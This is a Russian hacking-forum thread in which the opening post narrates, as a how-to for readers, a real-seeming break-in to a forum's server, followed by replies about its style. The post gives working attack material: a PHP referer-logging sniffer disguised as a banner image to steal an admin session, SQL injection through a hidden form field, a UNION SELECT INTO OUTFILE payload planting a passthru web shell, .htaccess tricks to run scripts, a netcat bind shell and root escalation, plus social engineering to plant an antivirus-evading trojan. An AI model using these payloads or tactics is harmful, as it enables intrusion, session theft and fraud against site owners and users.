Статьи Неуязвимых систем не бывает

Discussion in 'Статьи' started by hhover, 14 Jun 2007.

  1. hhover

    hhover Elder - Старейшина

    Joined:
    21 May 2007
    Messages:
    60
    Likes Received:
    36
    Reputations:
    11
    Зачем эта статья?
    Надеюсь, что для одноразового прочтения сойдет. Просто нравятся мне такие статьи, а их мало.

    Было очень жарко...
    Я налил лимонного сока, положил в стакан льда, стал читать башорг, но тут вспомнил, что надо бы зломать один сервер. Я на него уже давно хотел поглядеть. На сервере не оказалось установлено ничего, кроме форума, который я и избрал своим единственным объектом атаки.

    Осматриваемся...
    Форум был самописный и с виду неплохо защищенный. Первым же своим действием я обнаружил администраторскую панель, просто вбив в адресную строку http://site.com/admin/. Админка была доступна, видимо, только админу (странно). Я еще поглядел баги, но, ничего не найдя, решил зарегестрироваться. На страничке регистрации я с сожалением увидел, что регистрация на форуме закрыта. И происходит только через админа. Я не стал вчитываться в то, какого содержания письмо писать админу и что в нем указывать, чтобы мне дали аккаунт, я сразу избрал другой путь.

    Регистрируемся...
    Я хотел сбрутить чужой аккаунт, зашел на страничку входа, и немного поубавил свой пыл, увидев там капчу. Правда капча была самой примитивной и я подумал, что можно быстро и со 100% вероятностью ее распознавать. Но перед тем, как я начал писать распознавалку, решил проверить саму авторизацию на прочность. И не зря, оказалось, что в поле hidden формы передавался md5 хеш капчи, но стоит отдать должное программеру, он передаваемый текст хитро спрятал в функции onSubmit, которая присваивала скрытому полю нужное значение прямо перед отправкой.

    Итак, я быстро написал скрипт на пхп, и попытался брутить, но меня постигла неудача, на IP адрес стояло ограничение по количеству неудачных авторизаций. Я подумал было прикупить проксей, но решил что проще и надежней будет связаться с кем-нибудь из участников форума и впарить ему троя. Искать нужного человека я полез в гугл.
    Я вбил запросы:
    Code:
    site:site.com мое мыло
    site:site.com моя ася
    И гугл любезно выдал мне нашел несколько людей с аськами и адресами почты. Почитав посты потенциальных жертв, я выбрал первого человека, постоянно посещающего форум, взял кривую восьмерку, сменил инфу и стукнул ему в асю. Сказал, что хочу зарегестрироваться на форуме и попросил его помочь мне с этим нелегким делом. Человек попался отзывчивый и добрый, начал рассказывать и объяснять мне все. Он рассказывал долго, а я много спрашивал. В итоге стало ясно, что он в последнюю очередь видит во мне злобного хакера, пытающегося увести его аккаунт, и в первую очередь глупую девчонку. И тогда я начал действовать:

    Так я узнал все, что мне надо о жертве, и пока мы мило беседовали дальше, я создал страничку со сплоитом под ИЕ и троем, закриптованным от НОДа. Залил все это на старый акк jino-net, чел зашел по моему линку на флешку, и пока смотрел ее, я уже зашел на форум под его логином и паролем. Мы еще обменялись парой фраз, а потом я поехала в институт.

    И что же мы получили?
    Первое, что бросилось в глаза - то, что пароля в куках не было, была только сессия. Причем эта же сессия мелькала и в get запросах. Я подумал, что можно просниффать админскую сессию, но возник логичный вопрос - как? Аватары на форуме нельзя было указывать ссылками на другой сайт. Только загружать с локалхоста. А тега img не было. Никакой возможности поставить сниффер мне не предоставилось. Я поискал другие баги, но сайт бы чист. Тогда мне в голову пришла идея, как заполучить сессию админа.

    Получаем админскую сессию.
    На форуме было несколько рекламных мест, вверху и внизу висели баннеры 468x60, а также пару текстовых ссылок. Баннеры как ни странно были расположены на сайтах рекламодателей. У меня был шелл на сайте с похожей тематикой, я взял их баннер, разместил в отдельной папке, в которой создал также .htaccess с содержимым:
    Code:
    <Files "banner.jpg">
    AddType application/x-httpd-php .jpg
    </Files>
    Скрипт banner.jpg я сделал сниффером, чтобы он логировал реферер:
    Code:
    <?php
    // открываем файл, записываем IP, реферер на новую строку, закрываем
    $fo=fopen('1.txt','ab'); 
    fwrite($fo,$_SERVER['REMOTE_ADDR'].':'.$_SERVER['HTTP_REFERER']."\r\n";
    fclose($fo);
    
    // показываем картинку realbanner.jpg
    header("Content-type: image/jpeg"); 
    $im=imagecreatefromjpeg("./realbanner.jpg"); 
    Imagejpeg($im,'',20); 
    ImageDestroy($im);
    ?>
    После я взял кривую шестерку, стукнул админу, сказал, что по вопросам размещения рекламы. Он отнесся к предложению с трепетом и излишним энтузиазмом, мы быстро договорились, было ясно, что такие предложения поступают к нему не часто и я сыграл на этом, используя очень деловой тон. Я дал ему ссылку на banner.jpg, сказал, чтобы он поставил его на сайт, и я сразу переведу деньги. Админ поставил мой баннер. Я одобрил, но вдруг обнаружил, что мой кошелек заблокирован, извинился и сказал, что стукну как только разблокирую его. Сессия админа была у меня.

    Ваши права? Администратор!
    Я подменил куки и вошел на форум под админом. И сразу ломанулся осматривать админ панель меня пустило без дополнительных проверок.

    В админке было не очень много возможностей, я стал искать как бы мне залить шелл, но заливать файлы там было нельзя. Я старательно принялся искать любые баги и вскоре заметил, что при выполнении определенных действий с базой юзеров, в type='hidden' поле формы передается id юзера.
    Я сделал на локалхосте аналог формы из админки:
    Code:
    <form action='http://site.com/admin_panel/index.php?action=edituser' method='post'>
    <input type='text' name='user_id' value='SQL Injection' />
    <input type='submit' name='submit' value='submit' />
    </form>
    И, попробовав послать некорректный запрос, я увидел ошибку mysql.

    Поскольку я одновременно узнал и пути, и имя таблицы, я попробывал залить шелл через info outfile в директорию с аватарами, она ведь была открыта для записи, у меня получилось:
    Code:
    1' union select '<? passthru($_GET[cmd]) ?>' from users into outfile 
    '/home/site/public_html/images/av/image.php'/*
    Но вот в директории с аватарами было запрещено выполнение пхп скриптов. Как я позже узнал, запрет был при помощи следущего
    текста в .htaccess:
    Code:
    <Files ~ "\.php">
       Order allow,deny
       Deny from all
    </Files>
    Я попробовал изменить расширение на .php3, и скрипт запустился.

    Safe mode On
    Но мой шелл не работал, потому-что safe_mod был включен. Тогда я залил простенький скрипт, при помощи которого можно было заливать файлы в определенную папку на сервер. И залил шелл от rst. Увидел уязвимое ядро, увидел, что функция eval и множество других были выключены. Я понял, что при помощи пхп ловить тут нечего. Я не мог выполнять команды, а выполнять кастрированный пхп код мог лишь заливая каждый раз новый файл. Тогда новым файлом я попытался удалить .htaccess, получилось:
    Code:
    <?php unlink('./.htaccess');?>
    Тогда я залил perl шелл, залил новый .htaccess с содержимым:
    Code:
    <Directory /home/site/public_html/images/av/>
    Options +ExecCGI
    AddHandler cgi-script .pl
    </Directory>
    Этим я разрешил выполнение perl скриптов в данной директории.

    Также пришлось залить простенький файл, который сменил chmod моему perl скрипту. Только тогда мой perl шелл заработал.

    Полноценный шелл, это так здорово!
    Итак, шелл на перле запустился. Я нашел в файле конфига инфу для доступа к бд, ничего интересного там не было. Хотя пароли хранились в открытом виде и я слил таблицу юзеров. Я залил скрипт для бинда порта, вошел на сервер netcat'ом. Дальше я использовал эксплоит для повышения прав, поимев рута, взял с сервера то, что мне было нужно, замел следы, забекдорил систему... но это уже совсем другая история...

    А на улице по прежнему +30, или В заключении...
    ...хочу сказать - не пытайтесь повторить это дома, это опасно для жизни. Если будете повторять - не забывайте предохраняться. И помните, не бывает 100% защищенных систем. Используйте творческий подход. Иногда даже обычная XSS может дать вам рута. Не говоря уже про человеческий фактор.

    Все.
    Могут быть ошибки. Писал все по памяти.
     
    #1 hhover, 14 Jun 2007
    Last edited: 14 Jun 2007
    15 people like this.
  2. -=lebed=-

    -=lebed=- хэшкрякер

    Joined:
    21 Jun 2006
    Messages:
    3,804
    Likes Received:
    1,960
    Reputations:
    594
    Хм.. статейка в стиле Ксакепа, имхо наверно мы её скоро увидим в июньском ][, я правильно понял?

    ЗЫ. Имхо только сок у них апельсиновый, а не лимонный... :d
     
  3. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    вот об этом можно было и по подробней, что за ось, что за сплойты использовал, это хостинг был или нет=) а так, сильно смахивает статьи из ][
     
  4. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    В принцыпе взлом банален и нечего сложно я не вижу...
    Ps надо тоже попробывать свеже выжатый лимооный сок, наверное помогает хекать как **нешь пол литра лицо скосит всего вывернет и сиди хекай.
    Pps Напиши статью о влиянии лимнного сока на мозг хакера.
     
    3 people like this.
  5. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,674
    Likes Received:
    1,029
    Reputations:
    1,228
    +1
    банальная статья для ксакепа. хотя порадовала фишка с .htaccess'ом. большая часть была в соц инженерии, а это не всегда удачно, ибо люди разные бывают=\
     
    _________________________
  6. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    А почему автор в статье говорит о себе то о женском то о мужском роде?

     
  7. Red_Red1

    Red_Red1 Banned

    Joined:
    12 Jan 2007
    Messages:
    246
    Likes Received:
    258
    Reputations:
    83
    Тут как раз все просто. Он представился девушкой.
     
  8. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    ой а мне такое нравится читать -- как говорил один мой учитель по информатике сказка про серенького бычка хз почему --- похоже не хеккерскую сказку -- рекомендую к прочтению перед сном для развития фантазии и предупреждения лунатизма

    пойдет
     
  9. Gh0s7

    Gh0s7 Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    160
    Likes Received:
    231
    Reputations:
    242
    Да, меня тоже удивило 'а потом я поехала в институт.'
    Ждем доку в ксакепе?
     
    2 people like this.
  10. gringoire

    gringoire New Member

    Joined:
    3 Sep 2011
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    Очень симпатичная статья. спасибо вам, мне нравиться читать статьи такого типа.
    И часть про htaccess была новой для меня, надо будет поинтересоваться об этом.